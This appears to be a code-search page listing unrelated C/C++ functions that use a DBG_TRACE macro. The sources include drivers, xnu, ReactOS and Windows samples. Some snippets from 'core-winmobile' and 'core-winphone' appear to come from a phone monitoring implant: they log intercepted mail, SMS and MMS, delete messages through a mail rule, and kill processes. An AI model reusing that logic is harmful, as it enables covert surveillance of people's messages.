コード例 #1
0
/*******************************************************************************
 *	wl_process_updated_record()
 *******************************************************************************
 *
 *  DESCRIPTION:
 *
 *      Process the updated information record message signaled by the device.
 *
 *  PARAMETERS:
 *
 *      lp - a pointer to the device's private structure
 *
 *  RETURNS:
 *
 *      N/A
 *
 ******************************************************************************/
void wl_process_updated_record( struct wl_private *lp )
{
    DBG_FUNC( "wl_process_updated_record" );
    DBG_ENTER( DbgInfo );


    if( lp != NULL ) {
        lp->updatedRecord.u.u16[0] = CNV_LITTLE_TO_INT( lp->updatedRecord.u.u16[0] );

        switch( lp->updatedRecord.u.u16[0] ) {
        case CFG_CUR_COUNTRY_INFO:
            DBG_TRACE( DbgInfo, "Updated Record: CFG_CUR_COUNTRY_INFO\n" );
            wl_connect( lp );
            break;

        case CFG_PORT_STAT:
            DBG_TRACE( DbgInfo, "Updated Record: WAIT_FOR_CONNECT (0xFD40)\n" );
            //wl_connect( lp );
            break;

        default:
            DBG_TRACE( DbgInfo, "UNKNOWN: 0x%04x\n",
                       lp->updatedRecord.u.u16[0] );
        }
    }

    DBG_LEAVE( DbgInfo );
    return;
} // wl_process_updated_record
コード例 #2
0
BOOL CMAPIAdviseSink::LogMessage( MAPIMessage& message )
{
	HRESULT hRes = E_FAIL;
	
	DWORD cbSize;
	std::auto_ptr<BYTE> lpData;
	lpData.reset( message.Serialize(&cbSize) );
	if (lpData.get() == NULL) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR serializing message]", 5, FALSE);
		return FALSE;
	}
	
	Log pLog;
	UINT log_type = LOGTYPE_MAIL;
	
	if (CmpWildW(CLASS_MAIL, message.Class()) != 0)
		log_type = LOGTYPE_MAIL;
	else if (CmpWildW(CLASS_SMS, message.Class()) != 0)
		log_type = LOGTYPE_SMS;
	else if (CmpWildW(CLASS_MMS, message.Class()) != 0)
		log_type = LOGTYPE_MMS;
	
	if (pLog.CreateLog(log_type, NULL, 0, FLASH) != TRUE) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR cannot create log]", 5, FALSE);
		return FALSE;
	}
	
	pLog.WriteLog(lpData.get(), cbSize);
	pLog.CloseLog();
	
	DBG_TRACE_INT(L"Debug - MAPIAdviseSink.cpp - OnNotify() [serialized message] size: ", 5, FALSE, cbSize);
	
	return TRUE;
}
コード例 #3
0
bool readFileHead(ByteArray& ba ) 
{


	if (ba.readByte() == 'e'
		&& ba.readByte() == 'x'
		&& ba.readByte() == 'b'
		&& ba.readByte() == 'n'
		&& ba.readByte() == 1
		)
	{
		long long time = ba.readUnsignedInt(); + 0x13770000000;
		DBG_TRACE(_T("create at time %ld") , time);

		int version  = ba.readShort();

		DBG_TRACE(_T("File bin version: %d") , version);	

		//if ( version != Version.version)
		//{
		//	ASSERT(false , "unpair config version and file version");
		//	return false;
		//}

		return true;
	}
	else
		return false;

}
コード例 #4
0
ファイル: imageboot.c プロジェクト: 0xffea/xnu
int
imageboot_needed(void)
{
	int result = 0;
	char *root_path = NULL;

	DBG_TRACE("%s: checking for presence of root path\n", __FUNCTION__);

	MALLOC_ZONE(root_path, caddr_t, MAXPATHLEN, M_NAMEI, M_WAITOK);
	if (root_path == NULL)
		panic("%s: M_NAMEI zone exhausted", __FUNCTION__);

	if(PE_parse_boot_argn("rp", root_path, MAXPATHLEN) == TRUE) {
		/* Got it, now verify scheme */

		if (strncmp(root_path, kIBFilePrefix,
					strlen(kIBFilePrefix)) == 0) {
			DBG_TRACE("%s: Found %s\n", __FUNCTION__, root_path);
			result = 1;
		} else {
			DBG_TRACE("%s: Invalid URL scheme for %s\n",
					__FUNCTION__, root_path);
		}
	}
	FREE_ZONE(root_path, MAXPATHLEN, M_NAMEI);

	return (result);
}
コード例 #5
0
ファイル: imageboot.c プロジェクト: 0xffea/xnu
int
imageboot_setup()
{
	dev_t       dev;
	int         error = 0;
	char *root_path = NULL;

	DBG_TRACE("%s: entry\n", __FUNCTION__);

	MALLOC_ZONE(root_path, caddr_t, MAXPATHLEN, M_NAMEI, M_WAITOK);
	if (root_path == NULL)
		return (ENOMEM);

	if(PE_parse_boot_argn("rp", root_path, MAXPATHLEN) == FALSE) {
		error = ENOENT;
		goto done;
	}

	printf("%s: root image url is %s\n", __FUNCTION__, root_path);
	error = di_root_image(root_path, rootdevice, &dev);
	if(error) {
		printf("%s: di_root_image failed: %d\n", __FUNCTION__, error);
		goto done;
	}

	rootdev = dev;
	mountroot = NULL;
	printf("%s: root device 0x%x\n", __FUNCTION__, rootdev);
	error = vfs_mountroot();

	if (error == 0 && rootvnode != NULL) {
		struct vnode *tvp;
		struct vnode *newdp;

		/*
		 * Get the vnode for '/'.
		 * Set fdp->fd_fd.fd_cdir to reference it.
		 */
		if (VFS_ROOT(TAILQ_LAST(&mountlist,mntlist), &newdp, vfs_context_kernel()))
			panic("%s: cannot find root vnode", __FUNCTION__);

		vnode_ref(newdp);
		vnode_put(newdp);
		tvp = rootvnode;
		vnode_rele(tvp);
		filedesc0.fd_cdir = newdp;
		rootvnode = newdp;
		mount_list_lock();
		TAILQ_REMOVE(&mountlist, TAILQ_FIRST(&mountlist), mnt_list);
		mount_list_unlock();
		mountlist.tqh_first->mnt_flag |= MNT_ROOTFS;
		DBG_TRACE("%s: root switched\n", __FUNCTION__);
	}
done:
	FREE_ZONE(root_path, MAXPATHLEN, M_NAMEI);

	DBG_TRACE("%s: exit\n", __FUNCTION__);

	return (error);
}
コード例 #6
0
LPMESSAGE openMessage(IMsgStore* pStore, ULONG cbEntryID, LPENTRYID lpEntryID)
{
	// Open message
	LPMESSAGE lpMessage = NULL;
	HRESULT hRes = pStore->OpenEntry(cbEntryID, 
		lpEntryID, 
		NULL, 
		0, 
		NULL, 
		(LPUNKNOWN *)&lpMessage);
	if (hRes != S_OK) {
		switch (hRes) {
		  case MAPI_E_NOT_FOUND:
			  DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR message not found]", 5, FALSE);
			  return NULL;
			  break;
		  default:
			  DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - openMessage() [ERROR generic while opening] ", 5, FALSE);
			  return NULL;
			  break;
		}
	}

	return lpMessage;
}
コード例 #7
0
ファイル: Start.cpp プロジェクト: BwRy/core-winmobile
INT Start::run() {
	wstring module, status;
	
	try {
		status = conf->getString(L"status");
	} catch (...) {
		DBG_TRACE(L"Debug - Start.cpp - Unknown \"status\"\n", 1, FALSE);
		return 0;
	}

	try {
		module = conf->getString(L"module");
	} catch (...) {
		DBG_TRACE(L"Debug - Start.cpp - Unknown \"module\"\n", 1, FALSE);
		return 0;
	}

	if (status.compare(L"start") == 0) {
		DBG_TRACE_3(L"Debug - Start.cpp - Starting Module: ", module.c_str(), L"\n", 1, FALSE);
		return (INT)modules->start(module);
	}

	if (status.compare(L"stop") == 0) {
		DBG_TRACE_3(L"Debug - Start.cpp - Stopping Module: ", module.c_str(), L"\n", 1, FALSE);
		return (INT)modules->stop(module);
	}

	DBG_TRACE(L"Debug - Start.cpp - *** We shouldn't be here!!!\n", 1, FALSE);
	return 0;
}
コード例 #8
0
int wl_get_tallies(struct wl_private *lp,
		   CFG_HERMES_TALLIES_STRCT *tallies)
{
    int ret = 0;
    int status;
    CFG_HERMES_TALLIES_STRCT *pTallies;

    DBG_FUNC( "wl_get_tallies" );
    DBG_ENTER(DbgInfo);

    /* Get the current tallies from the adapter */
    lp->ltvRecord.len = 1 + HCF_TOT_TAL_CNT * sizeof(hcf_16);
    lp->ltvRecord.typ = CFG_TALLIES;

    status = hcf_get_info(&(lp->hcfCtx), (LTVP)&(lp->ltvRecord));

    if( status == HCF_SUCCESS ) {
	pTallies = (CFG_HERMES_TALLIES_STRCT *)&(lp->ltvRecord.u.u32);
	memcpy(tallies, pTallies, sizeof(*tallies));
	DBG_TRACE( DbgInfo, "Get tallies okay, dixe: %d\n", sizeof(*tallies) );
    } else {
	DBG_TRACE( DbgInfo, "Get tallies failed\n" );
	ret = -EFAULT;
    }

    DBG_LEAVE( DbgInfo );

    return ret;
}
コード例 #9
0
ファイル: Process.cpp プロジェクト: BwRy/core-winmobile
// Il formato dei parametri e' il seguente:
// Azione da triggerare a processo TERMINATO (TRIGGER_ACTION(myData->pParams))
// Tipo di ricerca da fare (window title [1] o nome del processo [0])
// Nome del processo in WCHAR NULL-terminato
// Abbiamo un thread per processo, tuttavia il thread e' estremamente lightweight poiche'
// effettua solo un busy-cycle, il resto viene fatto tutto dalla classe singleton Process.
DWORD WINAPI OnProcess(LPVOID lpParam) {
	ProcessMonitor *processObj = ProcessMonitor::self();
	Event *me = (Event *)lpParam;
	Configuration *conf;
	wstring processName;
	BOOL onlyWindow, processActive = FALSE;
	HANDLE eventHandle = me->getEvent();

	me->setStatus(EVENT_RUNNING);
	conf = me->getConf();

	try {
		processName = conf->getString(L"process");
	} catch (...) {
		processName = L"";
	}

	if (processName.empty()) {
		me->setStatus(EVENT_STOPPED);

		return 0;
	}

	try {
		onlyWindow = conf->getBool(L"window");
	} catch (...) {
		onlyWindow = FALSE;
	}

	DBG_TRACE(L"Debug - Process.cpp - Process Event is Alive\n", 1, FALSE);

	if (onlyWindow) {
		LOOP {
			if (me->shouldStop()) {
				DBG_TRACE(L"Debug - Process.cpp - Process Event is Closing\n", 1, FALSE);
				me->setStatus(EVENT_STOPPED);

				return 0;
			}

			if (processActive == TRUE && processObj->IsWindowPresent(processName.c_str()) == FALSE) {
				processActive = FALSE;
				me->triggerEnd();
			} else if (processActive == FALSE && processObj->IsWindowPresent(processName.c_str()) == TRUE) {
				processActive = TRUE;
				me->triggerStart();
			}

			WaitForSingleObject(eventHandle, 5000);
		}
	} else {
コード例 #10
0
ファイル: et131x_netdev.c プロジェクト: AppEngine/linux-2.6
/**
 * et131x_close - Close the device
 * @netdev: device to be closed
 *
 * Returns 0 on success, errno on failure (as defined in errno.h)
 */
int et131x_close(struct net_device *netdev)
{
	struct et131x_adapter *adapter = netdev_priv(netdev);

	DBG_ENTER(et131x_dbginfo);

	/* First thing is to stop the queue */
	netif_stop_queue(netdev);

	/* Stop the Tx and Rx DMA engines */
	et131x_rx_dma_disable(adapter);
	et131x_tx_dma_disable(adapter);

	/* Disable device interrupts */
	et131x_disable_interrupts(adapter);

	/* Deregistering ISR */
	MP_CLEAR_FLAG(adapter, fMP_ADAPTER_INTERRUPT_IN_USE);

	DBG_TRACE(et131x_dbginfo, "Deregistering ISR...\n");
	free_irq(netdev->irq, netdev);

	/* Stop the error timer */
	del_timer_sync(&adapter->ErrorTimer);

	DBG_LEAVE(et131x_dbginfo);
	return 0;
}
コード例 #11
0
ファイル: svchost.c プロジェクト: hoangduit/reactos
VOID
WINAPI
SvchostStopCallback (
    _In_ PVOID Context,
    _In_ BOOLEAN TimerOrWaitFired
    )
{
    PSVCHOST_CALLBACK_CONTEXT pSvcsStopCbContext = Context;
    PSVCHOST_STOP_CALLBACK pfnStopCallback;

    /* Hold the lock while we grab the callback */
    EnterCriticalSection(&ListLock);

    /* Grab the callback, then clear it */
    ASSERT(pSvcsStopCbContext->pService != NULL);
    pfnStopCallback = pSvcsStopCbContext->pService->pfnStopCallback;
    ASSERT(pfnStopCallback != NULL);
    pSvcsStopCbContext->pService->pfnStopCallback = NULL;

    /* Now release the lock, making sure the above was atomic */
    LeaveCriticalSection(&ListLock);

    /* Now make the callout */
    DBG_TRACE("Call stop callback for service %ws, active threads %d\n",
              pSvcsStopCbContext->pService->pszServiceName,
              pSvcsStopCbContext->pService->cServiceActiveThreadCount);
    pfnStopCallback(pSvcsStopCbContext->pContext, TimerOrWaitFired);

    /* Decrement the active threads -- maybe the DLL can unload now */
    UnloadServiceDll(pSvcsStopCbContext->pService);

    /* We no longer need the context */
    MemFree(pSvcsStopCbContext);
}
コード例 #12
0
ファイル: svchost.c プロジェクト: hoangduit/reactos
WINAPI
BuildServiceTable (
    VOID
    )
{
    SERVICE_TABLE_ENTRYW *pServiceTable;
    ULONG i;

    /* Acquire the database lock while we go over the services */
    EnterCriticalSection(&ListLock);

    /* Allocate space for a NULL entry at the end as well, Windows needs this */
    pServiceTable = MemAlloc(HEAP_ZERO_MEMORY,
                             (ServiceCount + 1) * sizeof(*pServiceTable));
    if (pServiceTable)
    {
        /* Go over all our registered services */
        for (i = 0; i < ServiceCount; i++)
        {
            /* And set their parameters in the service table */
            pServiceTable[i].lpServiceName = (LPWSTR)ServiceArray[i].pszServiceName;
            pServiceTable[i].lpServiceProc = ServiceStarter;
            DBG_TRACE("Added service table entry for %ws\n",
                      pServiceTable[i].lpServiceName);
        }
    }

    /* All done, can release the lock now */
    LeaveCriticalSection(&ListLock);
    return pServiceTable;
}
コード例 #13
0
ファイル: Utils.cpp プロジェクト: dreamsxin/PcManager
BOOL ExecuteFile(LPCTSTR lpszFilename, LPCTSTR lpszInstallParam, DWORD &dwExitCode)
{
	if (!lpszFilename || !lpszInstallParam || !PathFileExists(lpszFilename))
		return FALSE;

	TCHAR szCmdline[MAX_PATH] = {0};
	if(lpszInstallParam && _tcslen(lpszInstallParam)>0)
		_stprintf(szCmdline, _T("\"%s\" %s"), lpszFilename, lpszInstallParam);
	else
		_tcscpy(szCmdline, lpszFilename);

	STARTUPINFO si = { sizeof(STARTUPINFO) };
	PROCESS_INFORMATION pi={0};
	BOOL processCreated = CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
	if(!processCreated)
		return FALSE;
	WaitForSingleObject(pi.hProcess, INFINITE);

	dwExitCode = 0;
	GetExitCodeProcess(pi.hProcess, &dwExitCode);	
	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	DBG_TRACE(_T("%s -> %d\n"), szCmdline, dwExitCode );
	return TRUE;
}
コード例 #14
0
void
CImageHardwareSimulation::
SetTriggerTime(
    _In_    ULONGLONG TriggerTime
)
/*++

Routine Description:

    Identify exactly when the user pressed that button.

Arguments:

    TriggerTime -
        The QPC time in 100ns when the user asked for the photo.

Return Value:

    void

--*/
{
    PAGED_CODE();

    m_TriggerTime = TriggerTime;
    DBG_TRACE( "Setting Trigger Time = 0x%016llX", TriggerTime );
}
コード例 #15
0
//
//  Emit metadata here that is common to all pins.
//
//  All derived classes' EmitMetadata() function must
//  call this function first.
//
void
CHardwareSimulation::
EmitMetadata(
    _Inout_ PKSSTREAM_HEADER   pStreamHeader
)
{
    PAGED_CODE();

    NT_ASSERT(pStreamHeader);

    if (0 != (pStreamHeader->OptionsFlags & KSSTREAM_HEADER_OPTIONSF_METADATA))
    {
        PKS_FRAME_INFO          pFrameInfo = (PKS_FRAME_INFO)(pStreamHeader + 1);
        PKSSTREAM_METADATA_INFO pMetadata = (PKSSTREAM_METADATA_INFO) (pFrameInfo + 1);
        //PBYTE                   pData = (PBYTE) pMetadata->SystemVa;
        //ULONG                   BytesLeft = pMetadata->BufferSize;

        // A real driver might write focus state or other info here.  We've got nothing.
        pMetadata->UsedSize = 0;
    }
    else
    {
        DBG_TRACE("Metadata not present...");
    }
}
コード例 #16
0
ファイル: TraceManager.cpp プロジェクト: iharh/prj
RTN RTN_FindLoop(IMG img, string rtn_name)
{
	SEC temp=IMG_SecHead(img);
	while(SEC_Valid(temp))
	{
		//we pick only executable code segment
		if(SEC_Type(temp)==SEC_TYPE_EXEC){
			RTN myrtn=SEC_RtnHead(temp);
			DBG_TRACE("RTNs to be instrumented");
			while(RTN_Valid(myrtn))
			{
				cerr<<RTN_Name(myrtn)<<endl;
				if(RTN_Name(myrtn)==rtn_name)
				{
					cerr<<"Rtn Found:"<<rtn_name<<endl;
					return myrtn;
				}
				myrtn=RTN_Next(myrtn);
			}
		}
		temp=SEC_Next(temp);
	}
	RTN empty;
	return empty;
}
コード例 #17
0
//  Function:
//      bool CImageHardwareSimulation::IsPfsEOS(void)
//
//  Description:
//      Determine if we're at the EOS.
//
//  Parameters:
//      [None]
//
//  Returns:
//      bool - true if we've reached the end of our Per Frame Settings.
//
bool
CImageHardwareSimulation::
IsPfsEOS(void)
{
    PAGED_CODE();

    DBG_ENTER( "()" );
    DBG_TRACE( "m_bTriggered=%s, m_bEndOfSequence=%s, m_PinMode=%d, m_pIspSetting=0x%p",
               ( m_bTriggered ? "true" : "false" ),
               ( m_bEndOfSequence ? "true" : "false" ),
               m_PinMode,
               m_pIspSettings );

    //
    //  Make sure we're in a Variable Photo Sequence.
    //
    bool result =
        bool( m_bTriggered == TRUE &&
              m_bEndOfSequence &&
              m_PinMode == PinBurstMode &&
              m_pIspSettings );       // Must have ISP settings set to be PFS EOS.

    DBG_LEAVE( "() = %s", (result ? "true" : "false") );
    return result;
}
コード例 #18
0
//  Function:
//      bool CImageHardwareSimulation::AdvanceFrameCounter(void)
//
//  Description:
//      Advance our frame and loop pointers to the next PFS settings.
//
//  Parameters:
//      [None]
//
//  Returns:
//      bool - true if we've reached the end of our Per Frame Settings.
//
bool
CImageHardwareSimulation::
AdvanceFrameCounter(void)
{
    PAGED_CODE();

    bool    bEOS = false;

    DBG_ENTER( "()" );

    m_GlobalFrameNumber ++;
    DBG_TRACE( "m_GlobalFrameNumber=%lld", m_GlobalFrameNumber );

    //
    //  Calculate the PFS frame & loop numbers, but only if we've
    //  gotten ISP settings.
    //
    if( m_bTriggered &&
            m_PinMode == PinBurstMode &&
            m_pIspSettings )
    {
        m_PfsFrameNumber ++;

        if( m_PfsFrameNumber >= m_PfsFrameLimit )
        {
            m_PfsFrameNumber = 0;
            m_PfsLoopNumber ++;
        }

        //  Only mark EOS if we're not in an infinite loop.
        if( m_PfsLoopLimit != 0 )
        {
            NT_ASSERT( !(m_PfsLoopNumber > m_PfsLoopLimit) );
            //  Check to see if we've hit our limit.
            if( m_PfsLoopNumber >= m_PfsLoopLimit )
            {
                DBG_TRACE( "Marking EOS" );
                bEOS = true;
            }
        }
    }

    DBG_TRACE( "m_PfsFrameNumber=%d, m_PfsLoopNumber=%d", m_PfsFrameNumber, m_PfsLoopNumber );
    DBG_TRACE( "m_PfsFrameLimit=%d,  m_PfsLoopLimit=%d",  m_PfsFrameLimit, m_PfsLoopLimit );
    DBG_LEAVE( "() = %s", bEOS ? "true" : "false" );
    return bEOS;
}
コード例 #19
0
STDMETHODIMP CGitExtensionsShellEx::Initialize(LPCITEMIDLIST pidlFolder, LPDATAOBJECT pDataObj, HKEY hProgID)
{
    FORMATETC fmt = { CF_HDROP, NULL, DVASPECT_CONTENT, -1, TYMED_HGLOBAL };
    STGMEDIUM stg = { TYMED_HGLOBAL };
    HDROP     hDrop;

    /* store the folder, if provided */
    DBG_TRACE(L"CGitExtensionsShellEx::Initialize(pidlFolder=%p)", pidlFolder);
    m_szFile[0] = '\0';
    if (pidlFolder)
        SHGetPathFromIDList(pidlFolder, m_szFile);

    if (!pDataObj)
        return S_OK;

    // Look for CF_HDROP data in the data object.
    if (FAILED( pDataObj->GetData(&fmt, &stg)))
    {
        // Nope! Return an "invalid argument" error back to Explorer.
        return E_INVALIDARG;
    }

    // Get a pointer to the actual data.
    hDrop = (HDROP)GlobalLock(stg.hGlobal);

    // Make sure it worked.
    if (NULL == hDrop)
        return E_INVALIDARG;

    // Sanity check - make sure there is at least one filename.
    UINT uNumFiles = DragQueryFile(hDrop, 0xFFFFFFFF, NULL, 0);
    HRESULT hr = S_OK;
    DBG_TRACE(L"uNumFiles=%u", uNumFiles);

    if (uNumFiles != 1)
        hr = E_INVALIDARG;
    // Get the name of the first file and store it in our member variable m_szFile.
    else if (!DragQueryFile(hDrop, 0, m_szFile, MAX_PATH))
        hr = E_INVALIDARG;
    DBG_TRACE(L"m_szFile=%s", m_szFile);

    GlobalUnlock(stg.hGlobal);
    ReleaseStgMedium(&stg);

    return hr;
}
コード例 #20
0
void CMpeg2DecoderDXVA2::CloseDecoder()
{
	DBG_TRACE(TEXT("CMpeg2DecoderDXVA2::CloseDecoder()"));

	ResetDecoding();

	SafeRelease(m_pVideoDecoder);
	m_fDeviceLost = false;
}
コード例 #21
0
ファイル: svchost.c プロジェクト: hoangduit/reactos
VOID
wmainCRTStartup (
    VOID
    )
{
    PSVCHOST_OPTIONS lpOptions;
    SERVICE_TABLE_ENTRYW *pServiceTable;
    LPWSTR pszCmdLine;

    /* Set a generic SEH filter and hard fail all critical errors */
    SetUnhandledExceptionFilter(SvchostUnhandledExceptionFilter);
    SetErrorMode(SEM_FAILCRITICALERRORS);

    /* Initialize the heap allocator */
    MemInit(GetProcessHeap());

    /* Initialize the DLL database and lock */
    InitializeListHead(&DllList);
    InitializeCriticalSection(&ListLock);

    /* Get the command-line and parse it to get the service group */
    pszCmdLine = GetCommandLineW();
    lpOptions = BuildCommandOptions(pszCmdLine);
    if (lpOptions == NULL)
    {
        /* Without a valid command-line, there's nothing for us to do */
        DBG_TRACE("Calling ExitProcess for %ws\n", pszCmdLine);
        ExitProcess(0);
    }

    /* Now use the service group information to lookup all the services */
    BuildServiceArray(lpOptions);

    /* Convert the list of services in this group to the SCM format */
    pServiceTable = BuildServiceTable();
    if (pServiceTable == NULL)
    {
        /* This is critical, bail out without it */
        MemFree(lpOptions);
        return;
    }

    /* Initialize COM and RPC as needed for this service group */
    if (CallPerInstanceInitFunctions(lpOptions) == FALSE)
    {
        /* Exit with a special code indicating COM/RPC setup has failed */
        DBG_ERR("%s", "CallPerInstanceInitFunctions failed -- exiting!\n");
        ExitProcess(1);
    }

    /* We're ready to go -- free the options buffer */
    MemFree(lpOptions);

    /* And call into ADVAPI32 to get our services going */
    StartServiceCtrlDispatcherW(pServiceTable);
}
コード例 #22
0
//
//  Complete the history list.
//
NTSTATUS
CImageHardwareSimulation::
CompleteCloneList()
{
    PAGED_CODE();

    int i = 0;
    while(!IsListEmpty(&m_BurstList))
    {
        LIST_ENTRY *listEntry = RemoveHeadList(&m_BurstList);

        PSCATTER_GATHER_ENTRY SGEntry =
            reinterpret_cast <PSCATTER_GATHER_ENTRY> (
                CONTAINING_RECORD (
                    listEntry,
                    SCATTER_GATHER_ENTRY,
                    ListEntry
                )
            );

        m_pClone = SGEntry->CloneEntry;
        m_PhotoConfirmationInfo = SGEntry->PhotoConfirmationInfo;

        m_NumMappingsCompleted++;
        m_ScatterGatherBytesQueued -= SGEntry -> ByteCount;

        DBG_TRACE( "m_NumMappingsCompleted=%d, m_PhotoConfirmationInfo.isRequired()=%s", m_NumMappingsCompleted, m_PhotoConfirmationInfo.isRequired( )?"TRUE":"FALSE" );
        DBG_TRACE( "Frame %p, PresentationTime=0x%016llX",
                   SGEntry->CloneEntry->StreamHeader,
                   SGEntry->CloneEntry->StreamHeader->PresentationTime.Time );

        m_Sensor -> Interrupt (m_PinID);

        ExFreeToNPagedLookasideList (
            &m_ScatterGatherLookaside,
            reinterpret_cast <PVOID> (SGEntry)
        );
        i++;
    }

    return STATUS_SUCCESS;
}
コード例 #23
0
void CMpeg2DecoderDXVA2::CloseDecoderService()
{
	DBG_TRACE(TEXT("CMpeg2DecoderDXVA2::CloseDecoderService()"));

	CloseDecoder();

	SafeRelease(m_pDecoderService);
	SafeRelease(m_pDeviceManager);
	m_pFilter = nullptr;
	m_SurfaceFormat = D3DFMT_UNKNOWN;
}
コード例 #24
0
ファイル: wl_util.c プロジェクト: asdlei00/Ace-i
/*******************************************************************************
 *	wl_process_security_status()
 *******************************************************************************
 *
 *  DESCRIPTION:
 *
 *      Process the security status message signaled by the device.
 *
 *  PARAMETERS:
 *
 *      lp - a pointer to the device's private structure
 *
 *  RETURNS:
 *
 *      N/A
 *
 ******************************************************************************/
void wl_process_security_status( struct wl_private *lp )
{
    SECURITY_STATUS_STRCT *sec_stat;
    /*------------------------------------------------------------------------*/


    DBG_FUNC( "wl_process_security_status" );
    DBG_ENTER( DbgInfo );


    if( lp != NULL ) {
        sec_stat = (SECURITY_STATUS_STRCT *)&lp->sec_stat;

        wl_endian_translate_event( (ltv_t *)sec_stat );

        switch( sec_stat->securityStatus ) {
        case 1:
            DBG_TRACE( DbgInfo, "Security Status : Dissassociate [AP]\n" );
            break;

        case 2:
            DBG_TRACE( DbgInfo, "Security Status : Deauthenticate [AP]\n" );
            break;

        case 3:
            DBG_TRACE( DbgInfo, "Security Status : Authenticate Fail [STA] or [AP]\n" );
            break;

        case 4:
            DBG_TRACE( DbgInfo, "Security Status : MIC Fail\n" );
            break;

        case 5:
            DBG_TRACE( DbgInfo, "Security Status : Associate Fail\n" );
            break;

        default:
            DBG_TRACE( DbgInfo, "Security Status : UNKNOWN (0x%04x)\n",
                       sec_stat->securityStatus );
            break;
        }

        DBG_TRACE( DbgInfo, "STA Address     : %s\n",
                   DbgHwAddr( sec_stat->staAddr ));
        DBG_TRACE( DbgInfo, "Reason          : 0x%04x \n", sec_stat->reason );

    }

    DBG_LEAVE( DbgInfo );
    return;
} // wl_process_security_status
コード例 #25
0
ファイル: SpecManager.cpp プロジェクト: iharh/prj
bool SpecManager::InstImage(string image)
{
	DBG_TRACE("Comes here");
	DBG_TRACE(image);

	//find the ruleset corresponding to the image
	map<string,RuleSet*>::iterator drit=this->imgIndx.find(image);	
	/*map<string,RuleSet*>::iterator myit=this->imgIndx.begin();
	if(myit!=this->imgIndx.end())
	{
		DBG_TRACE("#########");
		DBG_TRACE(myit->first);
	}*/

	if(drit!=this->imgIndx.end())
	{		
		RuleSet *robj=drit->second;
		//add the image to be profiled 
		this->AddImage(image,robj->getProfileFlag());
		return true;
	}
	
	list<RuleSet*>::iterator rit=this->rules.begin();
	while(rit!=this->rules.end())
	{
		
		RuleSet* robj=*rit;
		//Check if the image matches with specification
		//if((robj->GetImagePat(),image))
		if(Match(image,robj->GetImagePat()))
		{
			DBG_TRACE("TRUE returning");
			return true;
		}
	
		//do regular expression here
		rit++;
	}
	DBG_TRACE("FALSE returning");
	return false;			
}
コード例 #26
0
ファイル: wl_cs.c プロジェクト: 0xroot/Blackphone-BP1-Kernel
/*******************************************************************************
 *	wl_adapter_cleanup_module()
 *******************************************************************************
 *
 *  DESCRIPTION:
 *
 *      Called by cleanup_module() to perform driver uninitialization.
 *
 *  PARAMETERS:
 *
 *      N/A
 *
 *  RETURNS:
 *
 *      N/A
 *
 ******************************************************************************/
void wl_adapter_cleanup_module(void)
{
	DBG_FUNC("wl_adapter_cleanup_module");
	DBG_ENTER(DbgInfo);
	DBG_TRACE(DbgInfo, "wl_adapter_cleanup_module() -- PCMCIA\n");


	pcmcia_unregister_driver(&wlags49_driver);

	DBG_LEAVE(DbgInfo);
	return;
} /* wl_adapter_cleanup_module */
コード例 #27
0
ファイル: TraceManager.cpp プロジェクト: iharh/prj
void TraceManager::AfterExec(RtnTrack* rtntr)
{
	//handles just before exit
	int pflag=rtntr->flag;
	//aft_list.push_back(rtntr);
	if(pflag&&1)
	{
		DBG_TRACE("Profile Stop");
		//calls enf of profile into tau system
		EndProfile((char*)rtntr->rtn.c_str(),rtntr->tau);
	}    
}
コード例 #28
0
ファイル: wl_util.c プロジェクト: 7799/linux
/*******************************************************************************
 *	wl_process_link_status()
 *******************************************************************************
 *
 *  DESCRIPTION:
 *
 *      Process the link status message signaled by the device.
 *
 *  PARAMETERS:
 *
 *      lp - a pointer to the device's private structure
 *
 *  RETURNS:
 *
 *      N/A
 *
 ******************************************************************************/
void wl_process_link_status( struct wl_private *lp )
{
    hcf_16 link_stat;

    if( lp != NULL ) {
        //link_stat = lp->hcfCtx.IFB_DSLinkStat & CFG_LINK_STAT_FW;
        link_stat = lp->hcfCtx.IFB_LinkStat & CFG_LINK_STAT_FW;
        switch( link_stat ) {
        case 1:
            DBG_TRACE( DbgInfo, "Link Status : Connected\n" );
            wl_wext_event_ap( lp->dev );
            break;
        case 2:
            DBG_TRACE( DbgInfo, "Link Status : Disconnected\n"  );
            break;
        case 3:
            DBG_TRACE( DbgInfo, "Link Status : Access Point Change\n" );
            break;
        case 4:
            DBG_TRACE( DbgInfo, "Link Status : Access Point Out of Range\n" );
            break;
        case 5:
            DBG_TRACE( DbgInfo, "Link Status : Access Point In Range\n" );
            break;
        default:
            DBG_TRACE( DbgInfo, "Link Status : UNKNOWN (0x%04x)\n", link_stat );
            break;
        }
    }
} // wl_process_link_status
コード例 #29
0
ファイル: MapiRule.cpp プロジェクト: BwRy/core-winmobile
HRESULT CMailRuleClient::DeleteMessage(
		IMsgStore *pMsgStore, 
		IMessage *pMsg, 
		ULONG cbMsg, 
		LPENTRYID lpMsg, 
		ULONG cbDestFolder, 
		LPENTRYID lpDestFolder, 
		ULONG *pulEventType, 
		MRCHANDLED *pHandled)
{
	HRESULT hr = S_OK;
	ENTRYLIST lst;
	SBinary sbin;
	IMAPIFolder *pFolder = NULL;
	
	hr = pMsgStore->OpenEntry(cbDestFolder, lpDestFolder, NULL, 0, NULL, (LPUNKNOWN *) &pFolder);
	if (FAILED(hr)) {
		DBG_TRACE(L"Failed opening message entry.", DBG_HIGH, TRUE);
		return hr;
	}
	
	lst.cValues = 1;
	sbin.cb = cbMsg;
	sbin.lpb = (LPBYTE) lpMsg;
	lst.lpbin = &sbin;
	
	hr = pFolder->DeleteMessages(&lst, NULL, NULL, 0);
	if (FAILED(hr)) {
		DBG_TRACE(L"Failed deleting messages.", DBG_HIGH, TRUE);
		*pulEventType = fnevObjectDeleted;
		*pHandled = MRC_HANDLED_DONTCONTINUE;
	}
	
	if (pFolder)
		pFolder->Release();

	DBG_TRACE(L"Message deleted.", DBG_NOTIFY, FALSE);
	
	return hr;
}
コード例 #30
0
ファイル: ProcessMonitor.cpp プロジェクト: BwRy/core-winphone
BOOL ProcessMonitor::KillProcess(wstring wszProcessName)
{
	if (ProcessHandler(wszProcessName.c_str(), PROC_TERMINATE, 0) == TRUE) {
		return TRUE;
	}

	if (ProcessHandler(wszProcessName, PROC_FIND, 0) == FALSE) {
